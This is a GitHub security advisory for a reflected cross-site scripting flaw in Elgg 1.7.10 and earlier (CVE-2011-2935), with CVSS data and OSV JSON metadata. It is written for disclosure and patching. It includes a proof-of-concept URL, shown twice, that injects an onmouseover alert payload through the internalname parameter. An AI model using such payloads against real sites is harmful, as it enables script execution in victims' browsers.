GHSA-MCFM-J5G6-W26F

Vulnerability from github – Published: 2022-04-22 00:24 – Updated: 2024-01-12 22:05
VLAI?
Summary
Elgg Reflected XSS Vulnerability
Details

VULNERABILITY DESCRIPTION

The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser

PROOF-OF-CONCEPT/EXPLOIT

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
Severity ?
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.10"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "elgg/elgg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-2935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-12T22:05:22Z",
    "nvd_published_at": "2019-11-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim\u0027s browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```",
  "id": "GHSA-mcfm-j5g6-w26f",
  "modified": "2024-01-12T22:05:22Z",
  "published": "2022-04-22T00:24:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/issues/3544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Elgg/Elgg"
    },
    {
      "type": "WEB",
      "url": "https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2011-2935"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released"
    },
    {
      "type": "WEB",
      "url": "http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elgg Reflected XSS Vulnerability"
}


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